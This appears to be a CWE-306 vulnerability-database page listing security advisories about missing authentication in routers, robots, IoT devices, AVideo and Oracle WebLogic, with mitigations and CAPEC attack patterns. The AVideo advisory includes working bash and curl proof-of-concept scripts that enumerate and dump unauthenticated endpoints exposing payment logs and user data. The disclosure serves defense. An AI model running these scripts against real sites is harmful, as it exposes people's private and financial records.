CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
3476 vulnerabilities reference this CWE, most recent first.
GHSA-FX93-6M76-JJ78
Vulnerability from github – Published: 2022-05-13 01:21 – Updated: 2022-05-13 01:21The D-Link DIR-816 A2 1.11 router only checks the random token when authorizing a goform request. An attacker can get this token from dir_login.asp and use a hidden API URL /goform/SystemCommand to execute a system command without authentication.
{
"affected": [],
"aliases": [
"CVE-2019-10040"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-25T19:29:00Z",
"severity": "CRITICAL"
},
"details": "The D-Link DIR-816 A2 1.11 router only checks the random token when authorizing a goform request. An attacker can get this token from dir_login.asp and use a hidden API URL /goform/SystemCommand to execute a system command without authentication.",
"id": "GHSA-fx93-6m76-jj78",
"modified": "2022-05-13T01:21:43Z",
"published": "2022-05-13T01:21:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10040"
},
{
"type": "WEB",
"url": "https://github.com/PAGalaxyLab/VulInfo/blob/master/D-Link/DIR-816/remote_cmd_exec_0/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FXCP-3PWG-XXX2
Vulnerability from github – Published: 2025-10-22 09:30 – Updated: 2025-10-30 18:31Encrypted WiFi and SSH credentials were found in the Ghost Robotics Vision 60 v0.27.2 APK. This vulnerability allows an attacker to connect to the robot's WiFi and view all its data, as it runs on ROS 2 without default authentication. In addition, the attacker can connect via SSH and gain full control of the robot, which could cause physical damage to the robot itself or its environment.
{
"affected": [],
"aliases": [
"CVE-2025-41110"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T09:15:36Z",
"severity": "HIGH"
},
"details": "Encrypted WiFi and SSH credentials were found in the Ghost Robotics Vision 60 v0.27.2 APK. This vulnerability allows an attacker to connect to the robot\u0027s WiFi and view all its data, as it runs on ROS 2 without default authentication. In addition, the attacker can connect via SSH and gain full control of the robot, which could cause physical damage to the robot itself or its environment.",
"id": "GHSA-fxcp-3pwg-xxx2",
"modified": "2025-10-30T18:31:07Z",
"published": "2025-10-22T09:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41110"
},
{
"type": "WEB",
"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-ghost-robotics-vision-60"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FXF2-F3QJ-46V8
Vulnerability from github – Published: 2022-05-24 17:02 – Updated: 2024-04-04 02:41Anviz access control devices expose private Information (pin code and name) by allowing remote attackers to query this information without credentials via port tcp/5010.
{
"affected": [],
"aliases": [
"CVE-2019-12390"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-12-02T17:15:00Z",
"severity": "MODERATE"
},
"details": "Anviz access control devices expose private Information (pin code and name) by allowing remote attackers to query this information without credentials via port tcp/5010.",
"id": "GHSA-fxf2-f3qj-46v8",
"modified": "2024-04-04T02:41:22Z",
"published": "2022-05-24T17:02:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12390"
},
{
"type": "WEB",
"url": "https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G24H-8XR2-34Q6
Vulnerability from github – Published: 2025-12-09 21:31 – Updated: 2025-12-19 21:30MiniDVBLinux 5.4 contains an unauthenticated vulnerability in the tv_action.sh script that allows remote attackers to generate live stream snapshots through the Simple VDR Protocol. Attackers can request /tpl/tv_action.sh to create and retrieve a live TV screenshot stored in /var/www/images/tv.jpg without authentication.
{
"affected": [],
"aliases": [
"CVE-2023-53773"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T21:15:52Z",
"severity": "HIGH"
},
"details": "MiniDVBLinux 5.4 contains an unauthenticated vulnerability in the tv_action.sh script that allows remote attackers to generate live stream snapshots through the Simple VDR Protocol. Attackers can request /tpl/tv_action.sh to create and retrieve a live TV screenshot stored in /var/www/images/tv.jpg without authentication.",
"id": "GHSA-g24h-8xr2-34q6",
"modified": "2025-12-19T21:30:16Z",
"published": "2025-12-09T21:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53773"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/51095"
},
{
"type": "WEB",
"url": "https://www.minidvblinux.de"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/minidvblinux-unauthenticated-live-stream-disclosure-via-tvactionsh"
},
{
"type": "WEB",
"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5716.php"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G29M-VQ8M-35PG
Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31Voltronic Power ViewPower getModbusPassword Missing Authentication Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Voltronic Power ViewPower. Authentication is not required to exploit this vulnerability.
The specific flaw exists within the getModbusPassword method. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-22073.
{
"affected": [],
"aliases": [
"CVE-2023-51587"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T03:16:18Z",
"severity": "HIGH"
},
"details": "Voltronic Power ViewPower getModbusPassword Missing Authentication Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Voltronic Power ViewPower. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the getModbusPassword method. The issue results from the lack of authentication prior to allowing access to functionality. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-22073.",
"id": "GHSA-g29m-vq8m-35pg",
"modified": "2024-05-03T03:31:07Z",
"published": "2024-05-03T03:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51587"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1892"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G2MG-CGR6-VMV7
Vulnerability from github – Published: 2026-04-01 21:05 – Updated: 2026-04-01 21:05Summary
The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.
Details
The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:
// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone
This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.
Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:
GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1
Response (HTTP 200):
{
"data": [
{
"id": 1,
"users_id": 42,
"ip": "REDACTED",
"user_agent": "Mozilla/5.0 ...",
"created": "2025-01-15 14:32:00",
"room_name": "private-meeting-xyz"
}
]
}
The 21 affected endpoints generated from this template include:
| Endpoint | Exposed Data |
|---|---|
plugin/Meet/View/Meet_join_log/list.json.php |
User IDs, IP addresses, user agents, timestamps, room names |
plugin/PayPalYPT/View/PayPalYPT_log/list.json.php |
PayPal transaction logs, payment amounts, buyer info |
plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php |
Payment webhook data, transaction details |
plugin/CustomizeUser/View/Users_extra_info/list.json.php |
Extended user profile data, PII fields |
plugin/UserNotifications/View/User_notifications/list.json.php |
User notification records, activity patterns |
plugin/UserConnections/View/Users_connections/list.json.php |
Social connection graphs between users |
| And 15+ additional plugin endpoints | Various internal records |
Proof of Concept
Step 1: Enumerate accessible list endpoints (no authentication required):
#!/bin/bash
TARGET="https://your-avideo-instance.com"
ENDPOINTS=(
"plugin/Meet/View/Meet_join_log/list.json.php"
"plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
"plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
"plugin/CustomizeUser/View/Users_extra_info/list.json.php"
"plugin/UserNotifications/View/User_notifications/list.json.php"
"plugin/UserConnections/View/Users_connections/list.json.php"
)
for endpoint in "${ENDPOINTS[@]}"; do
echo "=== $endpoint ==="
HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
echo "Status: $HTTP_CODE"
if [ "$HTTP_CODE" = "200" ]; then
echo "VULNERABLE - Data returned:"
python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
fi
echo ""
done
Step 2: Retrieve paginated results from a specific endpoint:
# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
| python3 -m json.tool
# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
| python3 -m json.tool
Step 3: Discover additional vulnerable endpoints by scanning plugin directories:
curl -s "https://your-avideo-instance.com/plugin/" \
| grep -oP 'href="([^"]+)/"' \
| while read plugin; do
PLUGIN_NAME=$(echo "$plugin" | grep -oP '"([^"]+)/"' | tr -d '"/')
URL="$TARGET/plugin/$PLUGIN_NAME/View/"
curl -s "$URL" | grep -oP 'href="([^"]+)/"' | while read view; do
VIEW_NAME=$(echo "$view" | grep -oP '"([^"]+)/"' | tr -d '"/')
LIST_URL="$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php"
CODE=$(curl -s -o /dev/null -w "%{http_code}" "$LIST_URL")
[ "$CODE" = "200" ] && echo "FOUND: $LIST_URL"
done
done
Impact
21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:
- User PII: Extended profile information, email addresses, user IDs
- Payment data: PayPal and Authorize.Net transaction logs, payment amounts, buyer details
- Access logs: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs
- Social graphs: User connection and relationship data
- Activity records: Notification history revealing user behavior patterns
This is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.
- CWE-306: Missing Authentication for Critical Function
- Severity: Medium
Recommended Fix
Add an admin authentication check to CreatePlugin/templates/list.json.php after the require lines, matching the pattern used in add.json.php and delete.json.php:
// CreatePlugin/templates/list.json.php (after the require lines)
if (!User::isAdmin()) {
die(json_encode(['error' => true]));
}
This fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated list.json.php endpoints by adding the same admin check after their require lines.
Found by aisafe.io
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34732"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T21:05:59Z",
"nvd_published_at": "2026-03-31T21:16:31Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe AVideo `CreatePlugin` template for `list.json.php` does not include any authentication or authorization check. While the companion templates `add.json.php` and `delete.json.php` both require admin privileges, the `list.json.php` template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.\n\n## Details\n\nThe `list.json.php` template in `CreatePlugin/templates/` lacks any authentication check. Comparing with the sibling templates:\n\n```php\n// CreatePlugin/templates/add.json.php:12\nif (!User::isAdmin()) {\n die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n\n// CreatePlugin/templates/delete.json.php:11\nif (!User::isAdmin()) {\n die(\u0027{\"error\": \"Must be admin\"}\u0027);\n}\n\n// CreatePlugin/templates/list.json.php\n// NO authentication check - accessible to anyone\n```\n\nThis template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated `list.json.php` inherits the missing auth check, exposing the table contents to unauthenticated requests.\n\nConfirmed on a live instance, the Meet plugin\u0027s join log endpoint returns full records without authentication:\n\n```\nGET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1\n```\n\nResponse (HTTP 200):\n\n```json\n{\n \"data\": [\n {\n \"id\": 1,\n \"users_id\": 42,\n \"ip\": \"REDACTED\",\n \"user_agent\": \"Mozilla/5.0 ...\",\n \"created\": \"2025-01-15 14:32:00\",\n \"room_name\": \"private-meeting-xyz\"\n }\n ]\n}\n```\n\nThe 21 affected endpoints generated from this template include:\n\n| Endpoint | Exposed Data |\n|----------|-------------|\n| `plugin/Meet/View/Meet_join_log/list.json.php` | User IDs, IP addresses, user agents, timestamps, room names |\n| `plugin/PayPalYPT/View/PayPalYPT_log/list.json.php` | PayPal transaction logs, payment amounts, buyer info |\n| `plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php` | Payment webhook data, transaction details |\n| `plugin/CustomizeUser/View/Users_extra_info/list.json.php` | Extended user profile data, PII fields |\n| `plugin/UserNotifications/View/User_notifications/list.json.php` | User notification records, activity patterns |\n| `plugin/UserConnections/View/Users_connections/list.json.php` | Social connection graphs between users |\n| And 15+ additional plugin endpoints | Various internal records |\n\n## Proof of Concept\n\n**Step 1:** Enumerate accessible list endpoints (no authentication required):\n\n```bash\n#!/bin/bash\nTARGET=\"https://your-avideo-instance.com\"\n\nENDPOINTS=(\n \"plugin/Meet/View/Meet_join_log/list.json.php\"\n \"plugin/PayPalYPT/View/PayPalYPT_log/list.json.php\"\n \"plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php\"\n \"plugin/CustomizeUser/View/Users_extra_info/list.json.php\"\n \"plugin/UserNotifications/View/User_notifications/list.json.php\"\n \"plugin/UserConnections/View/Users_connections/list.json.php\"\n)\n\nfor endpoint in \"${ENDPOINTS[@]}\"; do\n echo \"=== $endpoint ===\"\n HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w \"%{http_code}\" \"$TARGET/$endpoint\")\n echo \"Status: $HTTP_CODE\"\n if [ \"$HTTP_CODE\" = \"200\" ]; then\n echo \"VULNERABLE - Data returned:\"\n python3 -m json.tool /tmp/avi037_response.json 2\u003e/dev/null | head -20\n fi\n echo \"\"\ndone\n```\n\n**Step 2:** Retrieve paginated results from a specific endpoint:\n\n```bash\n# Fetch meeting join logs with pagination\ncurl -s \"https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100\u0026start=0\" \\\n | python3 -m json.tool\n\n# Fetch payment logs\ncurl -s \"https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100\u0026start=0\" \\\n | python3 -m json.tool\n```\n\n**Step 3:** Discover additional vulnerable endpoints by scanning plugin directories:\n\n```bash\ncurl -s \"https://your-avideo-instance.com/plugin/\" \\\n | grep -oP \u0027href=\"([^\"]+)/\"\u0027 \\\n | while read plugin; do\n PLUGIN_NAME=$(echo \"$plugin\" | grep -oP \u0027\"([^\"]+)/\"\u0027 | tr -d \u0027\"/\u0027)\n URL=\"$TARGET/plugin/$PLUGIN_NAME/View/\"\n curl -s \"$URL\" | grep -oP \u0027href=\"([^\"]+)/\"\u0027 | while read view; do\n VIEW_NAME=$(echo \"$view\" | grep -oP \u0027\"([^\"]+)/\"\u0027 | tr -d \u0027\"/\u0027)\n LIST_URL=\"$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php\"\n CODE=$(curl -s -o /dev/null -w \"%{http_code}\" \"$LIST_URL\")\n [ \"$CODE\" = \"200\" ] \u0026\u0026 echo \"FOUND: $LIST_URL\"\n done\n done\n```\n\n## Impact\n\n21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:\n\n- **User PII**: Extended profile information, email addresses, user IDs\n- **Payment data**: PayPal and Authorize.Net transaction logs, payment amounts, buyer details\n- **Access logs**: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs\n- **Social graphs**: User connection and relationship data\n- **Activity records**: Notification history revealing user behavior patterns\n\nThis is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.\n\n- **CWE-306**: Missing Authentication for Critical Function\n- **Severity**: Medium\n\n## Recommended Fix\n\nAdd an admin authentication check to `CreatePlugin/templates/list.json.php` after the require lines, matching the pattern used in `add.json.php` and `delete.json.php`:\n\n```php\n// CreatePlugin/templates/list.json.php (after the require lines)\nif (!User::isAdmin()) {\n die(json_encode([\u0027error\u0027 =\u003e true]));\n}\n```\n\nThis fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated `list.json.php` endpoints by adding the same admin check after their require lines.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-g2mg-cgr6-vmv7",
"modified": "2026-04-01T21:05:59Z",
"published": "2026-04-01T21:05:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g2mg-cgr6-vmv7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34732"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/ea9f555850eb399126a103c1df2156b48734c990"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo: Missing Authentication in CreatePlugin list.json.php Template Affects 21 Endpoints"
}
GHSA-G336-GVX8-VRRH
Vulnerability from github – Published: 2025-09-02 15:31 – Updated: 2025-09-02 15:31A weakness has been identified in alaneuler batteryKid up to 2.1 on macOS. The affected element is an unknown function of the file PrivilegeHelper/PrivilegeHelper.swift of the component NSXPCListener. This manipulation causes missing authentication. It is possible to launch the attack on the local host. The exploit has been made available to the public and could be exploited.
{
"affected": [],
"aliases": [
"CVE-2025-9815"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-02T05:15:39Z",
"severity": "HIGH"
},
"details": "A weakness has been identified in alaneuler batteryKid up to 2.1 on macOS. The affected element is an unknown function of the file PrivilegeHelper/PrivilegeHelper.swift of the component NSXPCListener. This manipulation causes missing authentication. It is possible to launch the attack on the local host. The exploit has been made available to the public and could be exploited.",
"id": "GHSA-g336-gvx8-vrrh",
"modified": "2025-09-02T15:31:08Z",
"published": "2025-09-02T15:31:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9815"
},
{
"type": "WEB",
"url": "https://github.com/SwayZGl1tZyyy/n-days/blob/main/batteryKid/README.md"
},
{
"type": "WEB",
"url": "https://github.com/SwayZGl1tZyyy/n-days/blob/main/batteryKid/README.md#proof-of-concepts"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.322142"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.322142"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.641358"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G33W-J55R-X399
Vulnerability from github – Published: 2025-12-10 21:31 – Updated: 2025-12-18 21:31An unauthenticated attacker within proximity of the Meatmeet device can issue several commands over Bluetooth Low Energy (BLE) to these devices which would result in a Denial of Service. These commands include: shutdown, restart, clear config. Clear config would disassociate the current device from its user and would require re-configuration to re-enable the device. As a result, the end user would be unable to receive updates from the Meatmeet base station which communicates with the cloud services until the device had been fixed or turned back on.
{
"affected": [],
"aliases": [
"CVE-2025-65828"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-10T21:16:08Z",
"severity": "MODERATE"
},
"details": "An unauthenticated attacker within proximity of the Meatmeet device can issue several commands over Bluetooth Low Energy (BLE) to these devices which would result in a Denial of Service. These commands include: shutdown, restart, clear config. Clear config would disassociate the current device from its user and would require re-configuration to re-enable the device. As a result, the end user would be unable to receive updates from the Meatmeet base station which communicates with the cloud services until the device had been fixed or turned back on.",
"id": "GHSA-g33w-j55r-x399",
"modified": "2025-12-18T21:31:34Z",
"published": "2025-12-10T21:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65828"
},
{
"type": "WEB",
"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-denial-of-service-ble-md"
},
{
"type": "WEB",
"url": "http://meatmeet.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G36V-5299-38PR
Vulnerability from github – Published: 2024-04-05 18:30 – Updated: 2025-03-28 21:30u-boot bug that allows for u-boot shell and interrupt over UART
{
"affected": [],
"aliases": [
"CVE-2023-48426"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-05T16:15:07Z",
"severity": "CRITICAL"
},
"details": "u-boot bug that allows for u-boot shell and interrupt over UART",
"id": "GHSA-g36v-5299-38pr",
"modified": "2025-03-28T21:30:39Z",
"published": "2024-04-05T18:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48426"
},
{
"type": "WEB",
"url": "https://source.android.com/docs/security/bulletin/chromecast/2023-12-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G38H-VJF2-59HP
Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2024-07-17 00:32Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
{
"affected": [],
"aliases": [
"CVE-2024-21183"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-16T23:15:22Z",
"severity": "HIGH"
},
"details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).",
"id": "GHSA-g38h-vjf2-59hp",
"modified": "2024-07-17T00:32:55Z",
"published": "2024-07-17T00:32:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21183"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2024.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.